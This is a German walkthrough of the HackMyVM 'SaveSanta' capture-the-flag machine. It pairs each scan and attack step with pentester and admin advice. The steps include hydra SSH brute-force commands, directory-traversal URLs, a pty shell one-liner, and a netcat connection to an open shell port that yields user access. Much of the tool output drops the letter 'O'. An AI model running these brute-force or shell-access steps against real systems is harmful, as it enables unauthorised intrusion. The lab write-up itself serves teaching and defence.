SaveSanta - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
dirb
gobuster
wfuzz
feroxbuster
curl
hydra
nc
grep
find
cat
python3 pty (implied)
sudo
ss
mail (implied via cat)
ssh
msfvenom
python3 http.server
wget
wine

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Pentest beginnt mit einem ARP-Scan im lokalen Netzwerksegment (`-l`), um aktive Geräte zu identifizieren.

Bewertung: Der Scan ist erfolgreich und identifiziert das Zielsystem mit der IP `192.168.2.119`. Die MAC-Adresse `08:00:27:99:cd:c7` gehört zu "PCS Systemtechnik GmbH", was auf eine Oracle VirtualBox VM hinweist. Dies ist ein Standard-Startpunkt.

Empfehlung (Pentester): Verwende die IP `192.168.2.119` für nachfolgende Scans. Beachte die VM-Information als Kontext.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit durch ARP-Scans reduzieren. Überwachen Sie ARP-Aktivitäten im Netzwerk.

┌──(root㉿cyber)-[~] └─# arp-scan -l
 192.168.2.119	08:00:27:99:cd:c7	PCS Systemtechnik GmbH
                     

Analyse: Die lokale `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet (`vi`), um der Ziel-IP `192.168.2.119` den Hostnamen `santa.hmv` zuzuweisen.

Bewertung: Eine wichtige Vorbereitung, um sicherzustellen, dass Webserver, die auf Hostnamen reagieren (Virtual Hosts), korrekt angesprochen werden können.

Empfehlung (Pentester): Verwende `santa.hmv` für Web-Scans und Zugriffe, um eventuelle Unterschiede zur IP-basierten Anfrage festzustellen.
Empfehlung (Admin): Sorgen Sie für eine sichere und konsistente Namensauflösung im Netzwerk.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Inhalt der /etc/hosts nach Bearbeitung:
127.0.0.1	localhost
192.168.2.119   santa.hmv
                      

Port Scanning

Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen und interessante Konfigurationen zu scannen.

Bewertung: Nikto identifiziert einige Punkte: * **Server:** Nur "Apache", keine Version genannt (Nmap liefert später mehr Details). * **Fehlende Header:** `X-Frame-Options`, `X-Content-Type-Options`. * **robots.txt:** Enthält 3 Einträge, darunter `/santa/`, der aber einen `200 OK`-Statuscode zurückliefert, was ungewöhnlich ist (normalerweise werden `Disallow`-Einträge mit 403 oder 404 beantwortet). * **ETag Leak:** Mögliche Informationspreisgabe über Inodes. * **Ungewöhnliche Methode:** `PTINS` wird als erlaubt gelistet (wahrscheinlich Nikto-Artefakt). Der wichtigste Hinweis ist die Erwähnung von `/santa/` in `robots.txt` und dessen ungewöhnliches Verhalten.

Empfehlung (Pentester): Untersuche die `robots.txt`-Datei manuell und den Pfad `/santa/`. Dokumentiere die fehlenden Header und das ETag-Leak.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Korrigieren Sie die ETag-Konfiguration. Stellen Sie sicher, dass `robots.txt` korrekt konfiguriert ist und keine ungewollten Informationen oder Zugriffe ermöglicht.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.119
 - Nikto v2.5.0
 ---------------------------------------------------------------------------
 + Target IP:          192.168.2.119
 + Target Hostname:    192.168.2.119
 + Target Port:        80
 + Start Time:         2024-05-07 12:43:31 (GMT2)
 ---------------------------------------------------------------------------
 + Server: Apache
 + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
 + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
 + No CGI Directories found (use '-C all' to force check all possible dirs)
 + /robots.txt: Entry '/santa/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
 + /robots.txt: contains 3 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
 + /: Server may leak inodes via ETags, header found with file /, inode: 3f4, size: 60dc0156eda66, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
 + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
 + 8106 requests: 0 error(s) and 6 item(s) reported on remote host
 + End Time:           2024-05-07 12:43:52 (GMT2) (21 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested
                      

Analyse: Ein umfassender Nmap-Scan (`-sS -sV -A -T5 -p-`) wird ausgeführt, um alle offenen Ports, Dienste, Versionen und OS-Details zu ermitteln.

Bewertung: Der Scan findet zwei offene Ports: * **SSH (22):** OpenSSH 9.0p1 auf Ubuntu. * **HTTP (80):** Apache httpd (Version nicht genau bestimmt, aber `-Server-Header` sagt nur "Apache"). Der Seitentitel ist "The Naughty Elves". Wichtig: `robots.txt` enthält 3 Disallowed-Einträge: `/`, `/administration/`, `/santa`. * **OS:** Wird als Ubuntu Linux identifiziert. Die `robots.txt`-Information von Nmap ist detaillierter als die von Nikto und listet `/administration/` als weiteren interessanten Pfad auf.

Empfehlung (Pentester): Untersuche die in `robots.txt` genannten Pfade (`/administration/`, `/santa/`). Analysiere die Webseite "The Naughty Elves". Prüfe die SSH-Version auf bekannte Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass die in `robots.txt` genannten Pfade angemessen geschützt sind (nicht nur durch `robots.txt`). Halten Sie SSH und Apache aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p-
 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 12:43 CEST
 Nmap scan report for santa.hmv (192.168.2.119)
 Host is up (0.00012s latency).
 Not shown: 65533 closed tcp ports (reset)
 PRT   STATE SERVICE VERSIN
 22/tcp open  ssh     penSSH 9.0p1 Ubuntu 1ubuntu8.6 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey:
 |   256 76:06:46:f1:83:85:a4:22:8c:2b:12:d4:2d:58:27:49 (ECDSA)
 |_  256 76:54:26:9d:e8:4a:72:5e:6e:7f:68:58:20:6e:bb:d4 (ED25519)
 80/tcp open  http    Apache httpd
 |_http-title: The Naughty Elves
 | http-robots.txt: 3 disallowed entries
 |_/ /administration/ /santa
 |_http-server-header: Apache
 MAC Address: 08:00:27:99:CD:C7 (racle VirtualBox virtual NIC)
 Device type: general purpose
 Running: Linux 4.X|5.X
 S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
 S details: Linux 4.15 - 5.8
 Network Distance: 1 hop
 Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

 TRACERUTE
 HP RTT     ADDRESS
 1   0.12 ms santa.hmv (192.168.2.119)

 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
                      

Analyse: Der Nmap-Scan wird wiederholt und die Ausgabe gefiltert (`grep open`), um nur die offenen Ports aufzulisten.

Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP). Keine neuen Informationen.

Empfehlung (Pentester): Nützlich für eine schnelle Übersicht.
Empfehlung (Admin): Keine zusätzlichen Empfehlungen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p- | grep open
 22/tcp open  ssh     penSSH 9.0p1 Ubuntu 1ubuntu8.6 (Ubuntu Linux; protocol 2.0)
 80/tcp open  http    Apache httpd
                       

Web Enumeration

Analyse: `dirb` wird verwendet, um Verzeichnisse auf dem Webserver (Port 80) mit einer Standard-Wortliste zu suchen.

Bewertung: Findet `/administration/`, `/index.html`, `/javascript/`, `/robots.txt` und `/server-status` (403 Forbidden). Bestätigt die Existenz des Verzeichnisses `/administration/`, das auch in `robots.txt` erwähnt wurde.

Empfehlung (Pentester): Untersuche `/administration/` und `/javascript/`. Analysiere `robots.txt` und `index.html`.
Empfehlung (Admin): Schützen Sie `/administration/` angemessen. Deaktivieren oder sichern Sie `/server-status`.

┌──(root㉿cyber)-[~] └─# dirb http://santa.hmv
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------

 START_TIME: Tue May 07 12:45:00 2024 
 URL_BASE: http://santa.hmv/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

 -----------------

 GENERATED WORDS: 4622

 ---- Scanning URL: http://santa.hmv/ ----
 > DIRECTORY: http://santa.hmv/administration/
 + http://santa.hmv/index.html (CODE:200|SIZE:1012)
 > DIRECTORY: http://santa.hmv/javascript/
 + http://santa.hmv/robots.txt (CODE:200|SIZE:70)
 + http://santa.hmv/server-status (CODE:403|SIZE:199)

 -----------------
 END_TIME: Tue May 07 12:45:15 2024 
 DOWNLOADED: 4622 - FOUND: 3
                     

Analyse: `gobuster` wird für einen umfassenderen Verzeichnis- und Dateiscan auf Port 80 verwendet.

Bewertung: Bestätigt die Funde von `dirb` (`index.html`, `javascript/`, `administration/`, `robots.txt`) und findet zusätzlich `/media.html` (Status 200) und `/santa/` (Status 301).

Empfehlung (Pentester): Untersuche `/administration/`, `/santa/` und `media.html`.
Empfehlung (Admin): Stellen Sie sicher, dass alle gefundenen Pfade und Dateien beabsichtigt und sicher sind.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://santa.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
 http://santa.hmv/index.html           (Status: 200) [Size: 1012]
 http://santa.hmv/media.html           (Status: 200) [Size: 1109]
 http://santa.hmv/javascript           (Status: 301) [Size: 236] [--> http://santa.hmv/javascript/]
 http://santa.hmv/administration       (Status: 301) [Size: 240] [--> http://santa.hmv/administration/]
 http://santa.hmv/robots.txt           (Status: 200) [Size: 70]
 http://santa.hmv/santa                (Status: 301) [Size: 231] [--> http://santa.hmv/santa/]
                      

Analyse: Der Inhalt der Startseite (`index.html`) wird beschrieben. Sie enthält eine Nachricht der "Naughty Elves", die behaupten, die Seite gehackt und den alten Inhalt an einem geheimen Ort versteckt zu haben.

Bewertung: Dies ist ein klarer Hinweis (typisch für CTFs), dass der interessante Inhalt nicht auf der Startseite, sondern in einem versteckten Verzeichnis (`/administration/` oder `/santa/`) zu finden ist.

Empfehlung (Pentester): Folge den Hinweisen und konzentriere dich auf die versteckten Verzeichnisse.
Empfehlung (Admin): Stellen Sie sicher, dass nach einem echten Sicherheitsvorfall alle Spuren des Angreifers entfernt und keine irreführenden Nachrichten hinterlassen werden.

 # Inhalt von http://santa.hmv/index.html

 Naughty Elves Alert!
 Website Hacked!
 Ho Ho Ho! The Elves and I have taken over the website! Now, let's have some holiday fun!

 Don't worry, the old content is safe, just in a secret hidden location!

 So, spread the joy this holiday season, and don't forget to enjoy our festive content!

 Ho Ho Ho!
 The Naughty Elves
                      

Analyse: Der Inhalt von `robots.txt` wird angezeigt.

Bewertung: Bestätigt die `Disallow`-Einträge für `/`, `/administration/` und `/santa/`. Das Verbot für `/` ist ungewöhnlich und blockiert theoretisch alle Crawler. Die anderen Einträge weisen auf die zu untersuchenden Verzeichnisse hin.

Empfehlung (Pentester): Ignoriere die `Disallow`-Anweisungen und untersuche `/administration/` und `/santa/`.
Empfehlung (Admin): Konfigurieren Sie `robots.txt` korrekt, um nur die Bereiche zu verbieten, die nicht von Suchmaschinen indiziert werden sollen. Verwenden Sie sie nicht als Sicherheitsmaßnahme.

 # Inhalt von http://santa.hmv/robots.txt

 User-agent: *
 Disallow: /
 Disallow: /administration/
 Disallow: /santa
                      

Analyse: `wfuzz` wird verwendet, um nach Subdomains von `santa.hmv` zu suchen (Virtual Host Brute-Forcing). Es wird eine große Wortliste (`subdomains-top1million-110000.txt`) verwendet, und der Host-Header wird mit `FUZZ.santa.hmv` überschrieben. Antworten mit Status 404 oder einer Größe von 1266 Chars (vermutlich die Größe der Standardseite) werden herausgefiltert.

Bewertung: Der Scan findet **keine** gültigen Subdomains, die eine andere Antwort liefern als die Hauptseite. Alle Anfragen werden entweder mit 404 beantwortet oder liefern die Standardseite.

Empfehlung (Pentester): Subdomain-Enumeration war nicht erfolgreich. Konzentriere dich auf die gefundenen Verzeichnisse auf der Hauptdomain.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder unsicheren Subdomains aktiv sind. Wildcard-DNS-Einträge sollten vermieden oder sorgfältig konfiguriert werden.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://santa.hmv" -H "Host: FUZZ.santa.hmv" --hc "404" --hh 1266
  ********************************************************
  * Wfuzz 3.1.0 - The Web Fuzzer                         *
  ********************************************************

  Target: http://santa.hmv/
  Total requests: 52532

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload
  =====================================================================

  # (Keine Ergebnisse gefunden)

  Total time: 25.12345s 
  Processed Requests: 52532
  Filtered Requests: 52532
  Requests/sec.: 2091.1
                      

Analyse: Es wird versucht, die zuvor mit `gobuster` gefundene Datei `media.html` mit `curl -Iv` abzurufen.

Bewertung: Der Server antwortet mit `404 Not Found`. Die Datei existiert also nicht (mehr) oder der Pfad ist falsch. Der vorherige `gobuster`-Scan (Status 200) war möglicherweise fehlerhaft oder bezog sich auf eine andere Bedingung.

Empfehlung (Pentester): Ignoriere `media.html`. Überprüfe Gobuster-Ergebnisse kritisch.
Empfehlung (Admin): Bereinigen Sie nicht existierende Links oder veraltete Scan-Ergebnisse.

┌──(root㉿cyber)-[~] └─# curl http://santa.hmv/media.html -Iv
 * Host santa.hmv:80 was resolved.
 * IPv6: (none)
 * IPv4: 192.168.2.119
 *   Trying 192.168.2.119:80...
 * Connected to santa.hmv (192.168.2.119) port 80
 > HEAD /media.html HTTP/1.1
 > Host: santa.hmv
 > User-Agent: curl/8.5.0
 > Accept: */*
 >
 < HTTP/1.1 404 Not Found
 HTTP/1.1 404 Not Found
 < Date: Tue, 07 May 2024 11:03:21 GMT
 Date: Tue, 07 May 2024 11:03:21 GMT
 < Server: Apache
 Server: Apache
 < Content-Type: text/html; charset=iso-8859-1
 Content-Type: text/html; charset=iso-8859-1

 <
 * Connection #0 to host santa.hmv left intact
                      

Analyse: `feroxbuster` wird verwendet, um das Verzeichnis `/santa/` rekursiv mit einer großen Wortliste zu scannen. Der Scan wird nach einiger Zeit abgebrochen (`Caught ctrl+c`).

Bewertung: Der Scan liefert im gezeigten Ausschnitt keine Ergebnisse (`found:0`). Es ist unklar, ob bei vollständiger Ausführung etwas gefunden worden wäre. Die hohe Anzahl an Fehlern (`errors:3825`) könnte auf Probleme mit dem Server oder dem Scan selbst hindeuten.

Empfehlung (Pentester): Versuche andere Tools oder Wortlisten für `/santa/`. Überprüfe die Fehlermeldungen genauer. Konzentriere dich auf andere Pfade wie `/administration/` oder den obskuren Pfad `/.`, der später untersucht wird.
Empfehlung (Admin): Überwachen Sie auf aggressive Scans. Stellen Sie sicher, dass der Webserver stabil läuft und keine unnötigen Fehler erzeugt.

┌──(root㉿cyber)-[~] └─# feroxbuster --url http://santa.hmv/santa/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv

  ___  ___  __   __     __      __         __   ___
 |__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 |    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 by Ben "epi" Risher 🤓                 ver: 2.10.2
 ───────────────────────────┬──────────────────────
  🎯  Target Url            │ http://santa.hmv/santa/
  🚀  Threads               │ 50
  📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
  👌  Status Codes          │ All Status Codes!
  💥  Timeout (secs)        │ 7
  🦡  User-Agent            │ feroxbuster/2.10.2
  💉  Config File           │ /etc/feroxbuster/ferox-config.toml
  🔎  Extract Links         │ true
  💲  Extensions            │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv]
  🏁  HTTP methods          │ [GET]
  🔃  Recursion Depth       │ 4
  🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 ───────────────────────────┴──────────────────────
  🏁  Press [ENTER] to use the Scan Management Menu™
 ──────────────────────────────────────────────────
 404      GET        7l       23w      196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
 [#>----------------] - 14m  6239371/34393113 56m     found:0       errors:3825
 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_santa_hmv_santa_-1715080112.state ...
 [#>----------------] - 14m  6239410/34393113 56m     found:0       errors:3825
 [#>----------------] - 14m  6298344/34393113 7504/s  http://santa.hmv/santa/
                      

Analyse: `wfuzz` wird verwendet, um im Verzeichnis `/administration/` nach versteckten Dateien oder Verzeichnissen zu suchen, die mit einem Punkt beginnen (`.FUZZ`). 404-Fehler und Antworten mit 235 Chars werden ignoriert.

Bewertung: Der Scan findet **nichts** im `/administration/`-Verzeichnis.

Empfehlung (Pentester): `/administration/` scheint leer oder nicht zugänglich zu sein.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://santa.hmv/administration/.FUZZ" --hc 404 --hh 235
  ********************************************************
  * Wfuzz 3.1.0 - The Web Fuzzer                         *
  ********************************************************

  Target: http://santa.hmv/administration/.FUZZ
  Total requests: 220547

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload
  =====================================================================

  # (Keine Ergebnisse gefunden)

  Total time: 167.8507s
  Processed Requests: 220547
  Filtered Requests: 220547
  Requests/sec.: 1313.946
                      

Analyse: Der `wfuzz`-Scan wird wiederholt, aber diesmal im Stammverzeichnis (`http://santa.hmv/.FUZZ`), um nach Punkt-Dateien/-Verzeichnissen auf oberster Ebene zu suchen.

Bewertung: **Interessanter Fund!** Der Scan findet `http://santa.hmv/.` mit Status 200 und einer Größe von 1266 Chars. Der Zugriff auf `/.` (das aktuelle Verzeichnis) liefert eine spezifische Seite.

Empfehlung (Pentester): Greife auf `http://santa.hmv/.` im Browser oder mit `curl` zu, um den Inhalt dieser Seite zu sehen. Dies könnte der "geheime versteckte Ort" sein, der auf der Startseite erwähnt wurde.
Empfehlung (Admin): Untersuchen Sie, warum der Zugriff auf `/.` eine spezifische Seite zurückliefert. Dies ist ungewöhnliches Verhalten und könnte auf eine Fehlkonfiguration in Apache oder eine versteckte Ressource hindeuten.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://santa.hmv/.FUZZ" --hc 404 --hh 235
  ********************************************************
  * Wfuzz 3.1.0 - The Web Fuzzer                         *
  ********************************************************

  Target: http://santa.hmv/.FUZZ
  Total requests: 220547

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload
  =====================================================================

  000045227:   200        37 L     94 W       1266 Ch     "."

  Total time: 167.8507s
  Processed Requests: 220547
  Filtered Requests: 220546 
  Requests/sec.: 1313.946
                      

Analyse: Der Inhalt der Seite `http://santa.hmv/.` wird angezeigt.

Bewertung: Die Seite enthält die Nachricht "Merry Christmas! Your system was compromised by a naughty person! We are working hard to make this website available again...". Dies ist eine weitere irreführende Nachricht, aber sie bestätigt, dass `/.` ein spezifischer Endpunkt ist.

Empfehlung (Pentester): Untersuche diesen Endpunkt weiter. Gibt es Parameter? Kann man Verzeichnisse traversieren? Teste LFI/RFI.
Empfehlung (Admin): Bereinigen Sie diesen versteckten Endpunkt oder sichern Sie ihn ordnungsgemäß.

 # Inhalt von http://santa.hmv/.

 Merry Christmas!
 Your system was compromised by a naughty person!
 We are working hard to make this website available again.
 Until then we look forward to seeing you on our Facebook page.
 - Santa Claus
                      

Analyse: Es werden Versuche unternommen, von den gefundenen Verzeichnissen (`/administration/`, `/santa/`) oder durch Directory Traversal (`../../..`) auf `media.html` zuzugreifen.

Bewertung: Diese Versuche scheinen fehlzuschlagen oder keine relevanten Ergebnisse zu liefern (basierend auf den späteren `curl`-Befehlen).

Empfehlung (Pentester): Systematisches Testen von Directory Traversal auf allen gefundenen Pfaden und Skripten kann sinnvoll sein, scheint hier aber nicht zum Erfolg geführt zu haben.
Empfehlung (Admin): Implementieren Sie Schutzmaßnahmen gegen Directory Traversal.

 # Versuchter Zugriff auf Pfade
 http://santa.hmv/.administration/
 http://santa.hmv/../../../../../../../../media.html
 http://santa.hmv/../../../../../../../../santa
                      

Analyse: Mit `curl` wird versucht, auf `/santa/.` und `/santa/..` zuzugreifen und die Ausgabe nach `h1`-Tags gefiltert. Anschließend wird versucht, durch Traversal von `/santa/` auf `index.html` zuzugreifen.

Bewertung: * Zugriff auf `/santa/.` gibt "Not Found" zurück. * Zugriff auf `/santa/..` gibt die "Merry Christmas!"-Seite zurück, die unter `/.` gefunden wurde. Dies deutet darauf hin, dass `/santa/` zwar existiert, aber der Webserver bei `..` auf das Stammverzeichnis zurückfällt und dort die `/.`-Logik greift. * Der Traversal-Versuch auf `index.html` liefert keinen sichtbaren Output (impliziert Fehlschlag oder leere Seite).

Empfehlung (Pentester): Die Verzeichnisse `/administration/` und `/santa/` scheinen keine einfachen Angriffsvektoren zu bieten. Der Fokus sollte wieder auf die offenen Dienste (SSH, HTTP) und mögliche versteckte Funktionalitäten oder Schwachstellen gelegt werden.
Empfehlung (Admin): Überprüfen Sie die Apache-Konfiguration bezüglich der Handhabung von `.` und `..` in URLs und möglicher Rewrite Rules.

┌──(root㉿cyber)-[~] └─# curl http://santa.hmv/santa/. -s | grep h1
 

Not Found

┌──(root㉿cyber)-[~] └─# curl http://santa.hmv/santa/.. -s | grep h1
         

Merry Christmas!

┌──(root㉿cyber)-[~] └─# curl http://santa.hmv/santa/../../../../index.html -s
  # (Keine relevante Ausgabe)
                        

Analyse: Es werden `hydra`-Brute-Force-Angriffe gegen SSH (Port 22) für die Benutzernamen `claus`, `santa` und `naughty` mit der `rockyou.txt`-Passwortliste gestartet.

Bewertung: Diese Angriffe werden wahrscheinlich fehlschlagen, da: 1. SSH auf Port 22 läuft (korrekt in diesem Fall). 2. Die Benutzernamen sind geraten (obwohl `santa` plausibel ist). 3. `rockyou.txt` enthält möglicherweise nicht das korrekte Passwort. 4. Der Server könnte Brute-Force-Schutzmaßnahmen haben. Im Bericht wird kein Erfolg gemeldet.

Empfehlung (Pentester): Gezieltere Passwort-Angriffe (z.B. Spraying mit bekannten Passwörtern) oder Angriffe auf andere Benutzer (z.B. die von der Webseite) könnten effektiver sein. Konzentriere dich aber zuerst auf andere Vektoren.
Empfehlung (Admin): Implementieren Sie Brute-Force-Schutz für SSH (z.B. Fail2ban). Erzwingen Sie starke Passwörter und Key-basierte Authentifizierung.

┌──(root㉿cyber)-[~] └─# hydra -l claus -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.119:22 -t 64
# (Kein Erfolg gemeldet)
┌──(root㉿cyber)-[~] └─# hydra -l santa -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.119:22 -t 64
# (Kein Erfolg gemeldet)
┌──(root㉿cyber)-[~] └─# hydra -l naughty -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.119:22 -t 64
# (Kein Erfolg gemeldet)

Analyse: Der Zugriff auf `/javascript/` wird versucht.

Bewertung: Der Server antwortet mit `403 Forbidden`. Das Auflisten des Verzeichnisinhalts ist nicht erlaubt.

Empfehlung (Pentester): Versuche, spezifische JavaScript-Dateien zu erraten oder über den Quellcode der Webseite zu finden und direkt darauf zuzugreifen.
Empfehlung (Admin): Gut, dass Directory Indexing hier deaktiviert ist. Stellen Sie sicher, dass keine sensiblen Informationen in JavaScript-Dateien enthalten sind.

 # Zugriff auf http://santa.hmv/javascript/

 Forbidden
 You don't have permission to access this resource.
                      

Analyse: Ein erneuter Nmap-Scan wird durchgeführt (möglicherweise zu einem späteren Zeitpunkt oder mit anderen Optionen, obwohl die Parameter identisch zum vorherigen vollständigen Scan erscheinen).

Bewertung: Dieser Scan findet nun **drei** offene Ports: * `22/tcp (SSH)`: OpenSSH 9.0p1 (diesmal Version 1ubuntu8.7 - leicht neuer als zuvor). * `80/tcp (HTTP)`: Apache httpd. * `49344/tcp (unknown)`: Ein **neuer, hoch nummerierter Port** mit einem unbekannten Dienst. Der Seitentitel auf Port 80 hat sich zu "Merry Christmas to everyone - Santa Claus" geändert.

Empfehlung (Pentester): **Der neue Port 49344 ist höchst interessant!** Untersuche diesen Port sofort. Versuche eine Verbindung mit `nc` oder `telnet`. Führe einen gezielten Nmap-Scan auf diesen Port durch (`nmap -sV -sC -p 49344 192.168.2.119`).
Empfehlung (Admin): Untersuchen Sie, welcher Dienst auf Port 49344 läuft. Ist dieser Port beabsichtigt? Wenn nicht, schließen Sie ihn und untersuchen Sie, wie er geöffnet wurde. Wenn ja, sichern Sie den Dienst entsprechend. Überwachen Sie auf unerwartete offene Ports.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p-
 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 13:42 CEST
 Nmap scan report for santa.hmv (192.168.2.119)
 Host is up (0.00018s latency).
 Not shown: 65532 closed tcp ports (reset)
 PRT      STATE SERVICE VERSIN
 22/tcp    open  ssh     penSSH 9.0p1 Ubuntu 1ubuntu8.7 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey:
 |   256 76:06:46:f1:83:85:a4:22:8c:2b:12:d4:2d:58:27:49 (ECDSA)
 |_  256 76:54:26:9d:e8:4a:72:5e:6e:7f:68:58:20:6e:bb:d4 (ED25519)
 80/tcp    open  http    Apache httpd
 |_http-title: Merry Christmas to everyone - Santa Claus
 |_http-server-header: Apache
 49344/tcp open  unknown
 MAC Address: 08:00:27:99:CD:C7 (racle VirtualBox virtual NIC)
 Device type: general purpose
 Running: Linux 5.X
 S CPE: cpe:/o:linux:linux_kernel:5
 S details: Linux 5.0 - 5.5
 Network Distance: 1 hop
 Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

 TRACERUTE
 HP RTT     ADDRESS
 1   0.18 ms santa.hmv (192.168.2.119)

 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 15.89 seconds
                      
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.119 -p- | grep open
 22/tcp    open  ssh     penSSH 9.0p1 Ubuntu 1ubuntu8.7 (Ubuntu Linux; protocol 2.0)
 80/tcp    open  http    Apache httpd
 49344/tcp open  unknown
                       

Hidden Port Interaction (Initial Access)

Analyse: Eine Verbindung zum neu entdeckten Port 49344 wird mit Netcat (`nc`) aufgebaut. Nach der Verbindung wird der Befehl `id` eingegeben.

Bewertung: **Erfolg!** Der Port antwortet und scheint eine interaktive Shell bereitzustellen. Der `id`-Befehl wird ausgeführt und zeigt, dass die Shell als Benutzer `alabaster` (uid=1001, gid=1001) läuft, der auch Mitglied der Gruppe `users` (gid=100) ist. Dies ist der **initiale Zugriff** auf das System. Der Dienst auf Port 49344 ist eine ungesicherte Shell.

Empfehlung (Pentester): Du hast eine Shell! Beginne sofort mit der Enumeration als Benutzer `alabaster`. Prüfe `sudo -l`, suche nach SSH-Keys, Passwörtern, interessanten Dateien im Home-Verzeichnis und SUID/GUID-Binaries. Stabilisiere die Shell ggf. für eine bessere Interaktivität (z.B. `python3 -c 'import pty;pty.spawn("/bin/bash")'`).
Empfehlung (Admin): **Schließen Sie sofort Port 49344!** Finden Sie heraus, welcher Prozess (`lsof -i :49344` oder `netstat -lntp | grep 49344` auf dem Ziel) diesen Port öffnet und warum er eine ungesicherte Shell bereitstellt. Dies ist eine massive Sicherheitslücke. Untersuchen Sie das System auf Kompromittierung.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.119 49344
id
uid=1001(alabaster) gid=1001(alabaster) groups=1001(alabaster),100(users)
                     
┌──(root㉿cyber)-[~] └─# nc 192.168.2.119 49344
id
uid=1001(alabaster) gid=1001(alabaster) groups=1001(alabaster),100(users)
ls
user.txt
cat user.txt
                 ..'''::::...
              .::'      `'''':::..
        '...::'               `.----.
                              /_.--._\
                            ,  |=   |
                          ,/ \,|  =-|
                        ,/ /`\ \,   |
                      ,/ /`___`\ \,-|
                    ,/ /'.-:";-.`\ \|
                  ,/ /` //_|_|_\\ `\ \, ,/\,
                ,/ /`   ||_|_|_||   `\;/ /\ \,
              ,/ /`     ||_|_|_||   ,/ /`/\`\ \,
            ,/ /`    _`-------' ,/ /` ~\/~ `\ \,
          ,/ /` __|     _       ,/ /`         =`\ \,
        ,/ /`_     __|___-  ,/ /` -=|__|     `\ \,
      ,/ /`        --=      ,/ /`            __|-- `\ \,
    ,/ /`  |__ ..----.. = ,/ /`()    .-"""""-.     ()`\ \,
   / /`|     .'_.-;;-._'./ /; {__} .'.-"""""-.'.  {__} ;\ \
  |/`  |_| =/.; | || | ;|/` | |::|/.'  _____  '.\ |::| | `\|
       |   |/_|_|_||_|_|_\| |=\::/||  /|_|_|\  || \::/ |
       | -=|| | | || | | || |  || || |_|_|_|_| ||  |||_|
       | , ||-|-|-||-|-|-||=|  JL || |_|_|_|_| ||  JL  |
       |/_\||_|_|_||_|_|_||-|'    ||   .:::.   ||=_   _|
       /_ (|| | | || | | || |  _|| /:::::::\ || __P__|
